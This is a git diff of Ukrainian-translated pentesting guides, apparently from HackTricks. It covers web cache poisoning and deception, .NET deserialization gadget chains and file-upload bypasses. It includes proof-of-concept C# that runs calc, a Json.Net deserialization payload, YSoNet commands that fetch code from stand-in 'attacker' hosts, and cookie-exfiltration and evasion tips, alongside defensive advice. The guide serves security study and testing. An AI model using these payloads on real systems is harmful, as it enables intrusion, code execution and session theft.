+Operational tips: -- Багато CDN приховують заголовки кешу; poisoning може проявитися лише під час багатогодинних циклів оновлення. Використовуйте кілька різних IP-точок і знижуйте швидкість запитів, щоб уникнути тригерів rate-limit або проблем з репутацією. -- Використання IP з власної cloud-інфраструктури CDN іноді покращує узгодженість маршрутизації. -- Якщо присутній строгий CSP, це все одно працює, якщо відображення виконується в головному HTML-контексті і CSP дозволяє inline-виконання або обходиться через контекст. +- Багато CDNs приховують заголовки кешування; poisoning може проявлятися лише під час циклів оновлення в кілька годин. Використовуйте кілька vantage IPs і throttle, щоб уникнути rate-limit або тригерів репутації. +- Іноді використання IP із власного cloud CDN покращує консистентність маршрутизації. +- Якщо присутній строгий CSP, це все одно працює, якщо reflection виконується в основному HTML-контексті і CSP дозволяє inline execution або обходиться контекстом. -Вплив: +Impact: -- Якщо session cookies не мають прапорця `HttpOnly`, можливий zero-click ATO шляхом масового ексфільтрування `document.cookie` від усіх користувачів, яким сервовано poisoned HTML. +- Якщо session cookies aren’t `HttpOnly`, zero-click ATO можливий шляхом масової ексфільтрації `document.cookie` від усіх користувачів, яким відправлено poisoned HTML. -Захист: +Defenses: -- Припиніть відображати заголовки запитів у HTML; якщо неминуче — строго кодуйте за контекстом. Узгодьте політики кешування CDN та origin і уникайте варіацій на основі неперевірених заголовків. -- Переконайтесь, що WAF послідовно виконує інспекцію контенту для `.js` запитів і статичних шляхів. +- Перестаньте відображати request headers у HTML; суворо застосовуйте context-encode, якщо це неминуче. Узгодьте CDN та origin cache policies і уникайте varying по untrusted headers. +- Переконайтеся, що WAF застосовує content inspection послідовно до `.js` requests та static paths. - Встановіть `HttpOnly` (та `Secure`, `SameSite`) на session cookies. ### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection) @@ -208,7 +208,7 @@ Content-Type: application/x-www-form-urlencoded __PARAMETERS=AddToCache("key","…payload…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known. +Це записує довільний HTML під attacker‑chosen cache key, що дозволяє точне отруєння кешу після того, як ключі кешу стануть відомі. For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE): @@ -216,51 +216,51 @@ For full details (cache key construction, ItemService enumeration and a chained ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}} -## Уразливі приклади +## Вразливі приклади ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS пересилав фрагмент всередині URL без його видалення та генерував cache key, використовуючи лише host, path and query (ігноруючи fragment). Тому запит `/#/../?r=javascript:alert(1)` був відправлений на бекенд як `/#/../?r=javascript:alert(1)` і cache key не містив payload всередині, лише host, path and query. +ATS пересиляв фрагмент всередині URL без його видалення і генерував cache key тільки використовуючи host, path і query (ігноруючи фрагмент). Тому запит `/#/../?r=javascript:alert(1)` був відправлений на бекенд як `/#/../?r=javascript:alert(1)` і cache key не містив payload, лише host, path і query. ### GitHub CP-DoS -Відправлення некоректного значення в заголовку content-type викликало кешовану відповідь 405. У cache key містився cookie, тому атакувати було можливо лише неавторизованих користувачів. +Надсилання некоректного значення в заголовку content-type викликало кешовану відповідь 405. Cache key містив cookie, тому атаку було можливе проводити лише проти unauth користувачів. ### GitLab + GCP CP-DoS -GitLab використовує GCP buckets для зберігання статичного контенту. **GCP Buckets** підтримують **заголовок `x-http-method-override`**. Тож можна було відправити заголовок `x-http-method-override: HEAD` і отруїти кеш так, щоб він повертав порожнє тіло відповіді. Також могли підтримуватися методи типу `PURGE`. +GitLab використовує GCP buckets для зберігання static content. **GCP Buckets** підтримують **header `x-http-method-override`**. Тому можна було надіслати заголовок `x-http-method-override: HEAD` і отруїти кеш, щоб повертався порожній response body. Також підтримувався метод `PURGE`. ### Rack Middleware (Ruby on Rails) -В додатках на Ruby on Rails часто використовується Rack middleware. Призначення Rack коду — взяти значення заголовка **`x-forwarded-scheme`** і встановити його як scheme запиту. Коли надсилається заголовок `x-forwarded-scheme: http`, відбувається 301 redirect на ту ж локацію, що потенційно може спричинити Denial of Service (DoS) для цього ресурсу. Додатково, додаток може враховувати заголовок `X-forwarded-host` і перенаправляти користувачів на вказаний хост. Така поведінка може призвести до завантаження JavaScript-файлів з сервера атакуючого, що становить загрозу безпеці. +В Ruby on Rails застосунках часто використовується Rack middleware. Мета коду Rack — взяти значення заголовка **`x-forwarded-scheme`** і встановити його як scheme запиту. Коли надсилається заголовок `x-forwarded-scheme: http`, відбувається 301 redirect на ту ж локацію, що потенційно може спричинити Denial of Service (DoS) для цього ресурсу. Додатково додаток може враховувати заголовок `X-forwarded-host` і перенаправляти користувачів на вказаний host. Це може призвести до завантаження JavaScript файлів з сервера нападника, що становить ризик безпеки. ### 403 and Storage Buckets -Cloudflare раніше кешував відповіді 403. Спроба доступу до S3 або Azure Storage Blobs з некоректними Authorization заголовками призводила до відповіді 403, яка кешувалася. Хоча Cloudflare припинив кешувати 403 відповіді, така поведінка може все ще мати місце в інших proxy-сервісах. +Cloudflare раніше кешував 403 responses. Спроба доступу до S3 або Azure Storage Blobs з некоректними Authorization headers призводила до 403 response, який кешувався. Хоча Cloudflare перестав кешувати 403 responses, така поведінка може досі бути присутньою в інших proxy services. ### Injecting Keyed Parameters -Caches часто включають певні GET параметри в cache key. Наприклад, Fastly's Varnish кешував параметр `size` в запитах. Однак, якщо URL-encoded версія параметра (наприклад, `siz%65`) також була відправлена з некоректним значенням, cache key будувався з використанням коректного `size` параметра. Натомість бекенд обробляв значення з URL-encoded параметра. URL-encoding другого `size` параметра призводив до його опускання кешем, але до його використання бекендом. Присвоєння цього параметра значення 0 призводило до кешованої помилки 400 Bad Request. +Кеші часто включають певні GET параметри в cache key. Наприклад, Fastly's Varnish кешував параметр `size` у запитах. Проте, якщо також надсилалася URL-encoded версія параметра (наприклад, `siz%65`) з некоректним значенням, cache key будувався з правильного `size` параметра. Натомість бекенд обробляв значення в URL-encoded параметрі. URL-encoding другого `size` параметра призводило до його опущення кешем, але використовувалося бекендом. Призначення значення 0 цьому параметру призводило до cacheable 400 Bad Request помилки. ### User Agent Rules -Деякі розробники блокують запити з user-agents, що відповідають високонавантаженим інструментам типу FFUF або Nuclei, щоб керувати навантаженням на сервер. Іронічно, такий підхід може створити вразливості, як-от cache poisoning і DoS. +Деякі розробники блочать запити з user-agents, що співпадають з інструментами високого трафіку, такими як FFUF або Nuclei, щоб керувати навантаженням на сервер. Іронічно, такий підхід може вводити вразливості, як-от cache poisoning і DoS. ### Illegal Header Fields -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає допустимі символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, теоретично мають викликати 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, за умови відсутності заголовка `cache-control`. Було виявлено експлуатований сценарій, коли надсилання заголовка з нелегальним символом, наприклад `\`, призводило до кешованої помилки 400 Bad Request. +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, ідеально мали б викликати 400 Bad Request response. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає заголовки з invalid characters і кешує будь-яку 400 помилку, якщо лише не присутній заголовок `cache-control`. Була виявлена експлойтибельна модель, де надсилання заголовка з illegal character, наприклад `\`, призводило до cacheable 400 Bad Request. ### Finding new headers -https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6 +[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) ## Cache Deception The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. -First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. +Насамперед зауважте, що **extensions** такі як `.css`, `.js`, `.png` тощо зазвичай **сконфігуровані** так, щоб **зберігатися** в **cache.** Тому, якщо ви звертаєтесь до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, збереже response, оскільки бачить `.js` **extension**. Але якщо **application** повертає відповіді зі **sensitive** даними користувача, що зберігаються в _www.example.com/profile.php_, ви можете **steal** ці дані інших користувачів. -Other things to test: +Інші речі для тестування: - _www.example.com/profile.php/.js_ - _www.example.com/profile.php/.css_ @@ -269,19 +269,19 @@ Other things to test: - _www.example.com/profile.php/%2e%2e/test.js_ - _Use lesser known extensions such as_ `.avif` -Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\ -Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before. +Ще один дуже показовий приклад можна знайти в цьому write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +У прикладі пояснюється, що якщо ви завантажуєте неіснуючу сторінку на кшталт _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернутий і cache server збереже результат.\ +Після цього **attacker** може відкрити _http://www.example.com/home.php/non-existent.css_ у власному браузері і спостерігати **конфіденційну інформацію** користувачів, які заходили раніше. -Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type. +Зауважте, що **cache proxy** має бути **сконфігурований** так, щоб **кешувати** файли **на основі** **extension** файлу (_.css_), а не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ матиме `text/html` content-type замість `text/css` mime type. Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). -## Автоматичні інструменти +## Automatic Tools - [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques. -## Посилання +## References - [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) - [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 13fda97f7..64cd7bcc1 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -1,28 +1,28 @@ -# Базова десеріалізація .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) +# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} -Цей пост присвячено **розумінню того, як гаджет ObjectDataProvider експлуатується** для отримання RCE та **як** бібліотеки серіалізації **Json.Net і xmlSerializer можуть бути зловживані** з цим гаджетом. +Ця публікація присвячена **розумінню того, як gadget ObjectDataProvider експлуатується** для отримання RCE і **як** бібліотеки Serialization **Json.Net та xmlSerializer можуть бути зловживані** з цим gadget. -## ObjectDataProvider Гаджет +## ObjectDataProvider Gadget З документації: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ -Так, це дивне пояснення, тож подивімося, що ж у цього класу такого цікавого: цей клас дозволяє **обгорнути довільний об'єкт**, використовувати _**MethodParameters**_ щоб **задати довільні параметри**, а потім **використати MethodName щоб викликати довільну функцію** довільного об'єкта з заданими параметрами.\ +Так, це дивне пояснення, тому подивимось, що в цій класі такого цікавого: цей клас дозволяє **обгорнути довільний об'єкт**, використовувати _**MethodParameters**_ щоб **задати довільні параметри,** а потім **використати MethodName щоб викликати довільну функцію** довільного об'єкта з заданими параметрами.\ Отже, довільний **об'єкт** буде **виконувати** **функцію** з **параметрами під час десеріалізації.** -### **Як це можливо** +### **How is this possible** -Простір імен **System.Windows.Data**, який знаходиться всередині **PresentationFramework.dll** за шляхом `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, — це місце, де визначено та реалізовано ObjectDataProvider. +Простір імен **System.Windows.Data**, який знаходиться в **PresentationFramework.dll** за шляхом `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, — це місце, де визначено та реалізовано ObjectDataProvider. -Використовуючи [**dnSpy**](https://github.com/0xd4d/dnSpy) ви можете **переглянути код** класу, який нас цікавить. На зображенні нижче ми бачимо код **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** +Використовуючи [**dnSpy**](https://github.com/0xd4d/dnSpy) ви можете **проінспектувати код** класу, який нас цікавить. На зображенні нижче ми бачимо код **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** ![](<../../images/image (427).png>) -Як видно, коли встановлюється `MethodName`, викликається `base.Refresh()`, давайте подивимось, що воно робить: +Як ви можете помітити, коли встановлюється `MethodName`, викликається `base.Refresh()`, давайте подивимось, що це робить: ![](<../../images/image (319).png>) -Добре, продовжимо і подивимось, що виконує `this.BeginQuery()`. `BeginQuery` перевизначено в `ObjectDataProvider` і ось що воно робить: +Окей, продовжимо і подивимось, що робить `this.BeginQuery()`. `BeginQuery` перевизначений в `ObjectDataProvider` і ось що він робить: ![](<../../images/image (345).png>) @@ -30,9 +30,9 @@ ![](<../../images/image (596).png>) -Зверніть увагу, що це не повний код функції `QueryWorker`, але тут показано її цікаву частину: код **викликає `this.InvokeMethodOnInstance(out ex);`** — це рядок, де виконується встановлений метод. +Зверніть увагу, що це не повний код функції `QueryWorker`, але показано її цікавий фрагмент: код **викликає `this.InvokeMethodOnInstance(out ex);`** — це рядок, де **виконується встановлений метод**. -Якщо ви хочете перевірити, що просто встановлення _**MethodName**_ **приведе до його виконання**, ви можете запустити цей код: +Якщо ви хочете перевірити, що просте встановлення _**MethodName**_ **приведе до його виконання**, ви можете запустити цей код: ```java using System.Windows.Data; using System.Diagnostics; @@ -52,16 +52,16 @@ myODP.MethodName = "Start"; } } ``` -Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data` +Зауважте, що потрібно додати як reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ щоб завантажити `System.Windows.Data` ## ExpandedWrapper -Використовуючи попередній експлойт, трапляються випадки, коли **об'єкт** буде **десеріалізований як** екземпляр _**ObjectDataProvider**_ (наприклад в DotNetNuke vuln, використовуючи XmlSerializer, об'єкт десеріалізувався за допомогою `GetType`). Тоді не буде **жодної інформації про тип об'єкта, що обгорнутий** в екземплярі _ObjectDataProvider_ (наприклад `Process`). Ви можете знайти більше [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Використовуючи попередній exploit, будуть випадки, коли **object** буде **deserialized as** екземпляр _**ObjectDataProvider**_ (наприклад, у DotNetNuke vuln, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою `GetType`). У таких випадках не буде **знань про тип об'єкта, що обгорнутий** в екземплярі _ObjectDataProvider_ (наприклад `Process`). Ви можете знайти більше [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\ -Це дуже корисно для випадків, подібних до описаного вище, тому що ми зможемо **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_. +Цей клас дозволяє **вказати типи об'єктів, які інкапсульовані** в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції вихідного об'єкта (_ObjectDataProvider_) у новий тип об'єкта та надання потрібних нам властивостей (_ObjectDataProvider.MethodName_ та _ObjectDataProvider.MethodParameters_).\ +Це дуже корисно для випадків, подібних до описаного вище, оскільки ми зможемо **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_. -Ви можете перевірити цю обгортку за допомогою наступного коду: +Ви можете перевірити цей wrapper за допомогою наступного коду: ```java using System.Windows.Data; using System.Diagnostics; @@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start"; ``` ## Json.Net -На [офіційній сторінці](https://www.newtonsoft.com/json) вказано, що ця бібліотека дозволяє **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Отже, якщо ми зможемо **deserialize the ObjectDataProvider gadget**, ми зможемо спричинити **RCE**, просто deserializing an object. +На [офіційній веб-сторінці](https://www.newtonsoft.com/json) вказано, що ця бібліотека дозволяє **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Отже, якщо ми зможемо **deserialize the ObjectDataProvider gadget**, ми зможемо викликати **RCE**, просто десеріалізувавши об'єкт. -### Json.Net приклад +### Приклад Json.Net -По-перше, давайте подивимося приклад того, як **serialize/deserialize** об'єкт з використанням цієї бібліотеки: +По-перше, давайте подивимось приклад того, як **serialize/deserialize** об'єкт, використовуючи цю бібліотеку: ```java using System; using Newtonsoft.Json; @@ -134,7 +134,7 @@ Console.WriteLine(desaccount.Email); ``` ### Зловживання Json.Net -Використовуючи [ysoserial.net](https://github.com/pwntester/ysoserial.net) я створив експлойт: +Використовуючи [ysoserial.net](https://github.com/pwntester/ysoserial.net) я створив exploit: ```java yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { @@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -У цьому коді ви можете **test the exploit**, просто запустіть його, і ви побачите, що запускається calc: +У цьому коді ви можете **test the exploit**, просто запустіть його і ви побачите, що calc виконується: ```java using System; using System.Text; @@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto } } ``` -## Розширені .NET Gadget Chains (YSoNet & ysoserial.net) +## Advanced .NET Gadget Chains (YSoNet & ysoserial.net) -Техніка ObjectDataProvider + ExpandedWrapper, описана вище, — лише один із БАГАТЬОХ gadget chains, які можна зловживати, коли застосунок виконує **unsafe .NET deserialization**. Сучасні інструменти red-team, такі як **[YSoNet](https://github.com/irsdl/ysonet)** (та старіша [ysoserial.net](https://github.com/pwntester/ysoserial.net)), автоматизують створення **готових до використання шкідливих object graphs** для десятків gadgets і форматів серіалізації. +Техніка ObjectDataProvider + ExpandedWrapper, описана вище, — лише один із БАГАТЬОХ gadget chain-ів, якими можна зловживати, якщо додаток виконує **unsafe .NET deserialization**. Сучасні інструменти для red-team, такі як **[YSoNet](https://github.com/irsdl/ysonet)** (та старіший [ysoserial.net](https://github.com/pwntester/ysoserial.net)), автоматизують створення **готових до використання шкідливих об’єктних графів** для десятків гаджетів і форматів серіалізації. -Нижче наведено стисле довідкове резюме найбільш корисних chain-ів, що постачаються з *YSoNet*, разом із коротким поясненням їх роботи та прикладами команд для генерації payload-ів. +Нижче наведена стисла довідка по найкориснішим ланцюжкам, що постачаються з *YSoNet*, з коротким поясненням їх роботи та прикладами команд для генерації payload-ів. -| Gadget Chain | Ключова ідея / примітива | Поширені серіалізатори | YSoNet one-liner | -|--------------|--------------------------|------------------------|------------------| -| **TypeConfuseDelegate** | Пошкоджує запис `DelegateSerializationHolder`, тож після матеріалізації делегат вказує на *будь-який* метод, заданий атакуючим (наприклад `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | -| **ActivitySurrogateSelector** | Зловживає `System.Workflow.ComponentModel.ActivitySurrogateSelector`, щоб *обійти .NET ≥4.8 type-filtering* і безпосередньо викликати **конструктор** заданого класу або **скомпілювати** C# файл на льоту | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | -| **DataSetOldBehaviour** | Використовує **legacy XML** представлення `System.Data.DataSet` для інстанціації довільних типів шляхом заповнення полів `` / `` (за потреби підроблюючи збірку через `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | -| **GetterCompilerResults** | На середовищах з WPF (> .NET 5) ланцюжить геттери властивостей до досягнення `System.CodeDom.Compiler.CompilerResults`, після чого *компілює* або *завантажує* DLL, передану через `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | -| **ObjectDataProvider** (review) | Використовує WPF `System.Windows.Data.ObjectDataProvider` для виклику довільного статичного методу з керованими аргументами. YSoNet додає зручний варіант `--xamlurl` для хостингу шкідливого XAML віддалено | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | -| **PSObject (CVE-2017-8565)** | Вбудовує `ScriptBlock` у `System.Management.Automation.PSObject`, який виконується під час десеріалізації об'єкта PowerShell | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | +| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner | +|--------------|----------------------|--------------------|------------------| +| **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `` / `` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *compiles* or *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | > [!TIP] -> За замовчуванням всі payloads **виводяться в *stdout***, що дозволяє легко перенаправити їх в інші інструменти (наприклад ViewState generators, base64 encoders, HTTP clients). +> All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients). -### Збірка / Встановлення YSoNet +### Building / Installing YSoNet -Якщо під *Actions ➜ Artifacts* / *Releases* немає попередньо зібраних бінарників, наступний **PowerShell** one-liner налаштує середовище збірки, склонує репозиторій і скомпілює все в режимі *Release*: +Якщо попередньо зкомпільовані бінарні файли відсутні в *Actions ➜ Artifacts* / *Releases*, наступний однорядковий PowerShell-командлет налаштує середовище збірки, клонуватиме репозиторій і зкомпілює все в режимі *Release*: ```powershell Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; @@ -216,20 +216,20 @@ cd ysonet nuget restore ysonet.sln msbuild ysonet.sln -p:Configuration=Release ``` -The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`. +Скомпільований `ysonet.exe` можна знайти в `ysonet/bin/Release/`. -### Виявлення та посилення безпеки -* **Виявляйте** несподівані дочірні процеси `w3wp.exe`, `PowerShell.exe`, або будь-який процес, який десеріалізує дані, надані користувачем (наприклад `MessagePack`, `Json.NET`). -* Увімкніть та **примусово застосовуйте фільтрацію типів** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*), коли старий `BinaryFormatter` / `NetDataContractSerializer` не можна видалити. -* За можливості переходьте на **`System.Text.Json`** або **`DataContractJsonSerializer`** з конвертерами на основі білого списку. -* Блокуйте небезпечні збірки WPF (`PresentationFramework`, `System.Workflow.*`) від завантаження у веб-процесах, яким вони ніколи не повинні бути потрібні. +### Виявлення та посилення захисту +* **Виявляйте** несподівані дочірні процеси `w3wp.exe`, `PowerShell.exe`, або будь-якого процесу, що десеріалізує дані, надані користувачем (наприклад, `MessagePack`, `Json.NET`). +* Увімкніть та **примусово застосуйте фільтрацію типів** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) коли застарілий `BinaryFormatter` / `NetDataContractSerializer` не може бути видалений. +* За можливості мігруйте на **`System.Text.Json`** або **`DataContractJsonSerializer`** з конвертерами на основі білого списку. +* Блокуйте небезпечні WPF збірки (`PresentationFramework`, `System.Workflow.*`) від завантаження у веб-процесах, яким вони ніколи не потрібні. -## Реальний приклад sink: Sitecore convertToRuntimeHtml → BinaryFormatter +## Реальний sink: Sitecore convertToRuntimeHtml → BinaryFormatter Практичний .NET sink, доступний у автентифікованих потоках Sitecore XP Content Editor: -- API sink: `Sitecore.Convert.Base64ToObject(string)` викликає `new BinaryFormatter().Deserialize(...)`. -- Шлях запуску: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, який шукає сусідній елемент з `id="{iframeId}_inner"` і читає атрибут `value`, який розглядається як base64‑кодовані серіалізовані дані. Результат приводиться до рядка і вставляється в HTML. +- Sink API: `Sitecore.Convert.Base64ToObject(string)` обгортає виклик `new BinaryFormatter().Deserialize(...)`. +- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, який шукає сусідній елемент з `id="{iframeId}_inner"` і читає атрибут `value`, що трактують як base64‐encoded серіалізовані дані. Результат приводиться до string і вставляється в HTML. Мінімальний end‑to‑end (автентифікований): ``` @@ -246,9 +246,9 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= // Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` -- Gadget: будь‑який BinaryFormatter chain, що повертає string (побічні ефекти виконуються під час десеріалізації). Див. YSoNet/ysoserial.net для генерації payloads. +- Gadget: будь-який BinaryFormatter chain, що повертає string (side‑effects виконуються під час deserialization). Див. YSoNet/ysoserial.net, щоб згенерувати payloads. -Для повного ланцюжка, який починається pre‑auth з HTML cache poisoning у Sitecore і веде до цього sink: +Для повного chain, який починається pre‑auth з HTML cache poisoning у Sitecore та призводить до цього sink: {{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 17a212a83..5510f76e3 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -4,7 +4,7 @@ ## Загальна методологія завантаження файлів -Other useful extensions: +Інші корисні розширення: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ @@ -17,11 +17,11 @@ Other useful extensions: ### Обхід перевірок розширень файлів -1. Якщо застосовано, **перевірте** **попередні розширення.** Також тестуйте їх, використовуючи **великі букви**: _pHp, .pHP5, .PhAr ..._ -2. _Перевірте **додавання валідного розширення перед** виконуваним розширенням (використовуйте попередні розширення також):_ +1. Якщо застосовується, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи великі літери: _pHp, .pHP5, .PhAr ..._ +2. _Перевірте 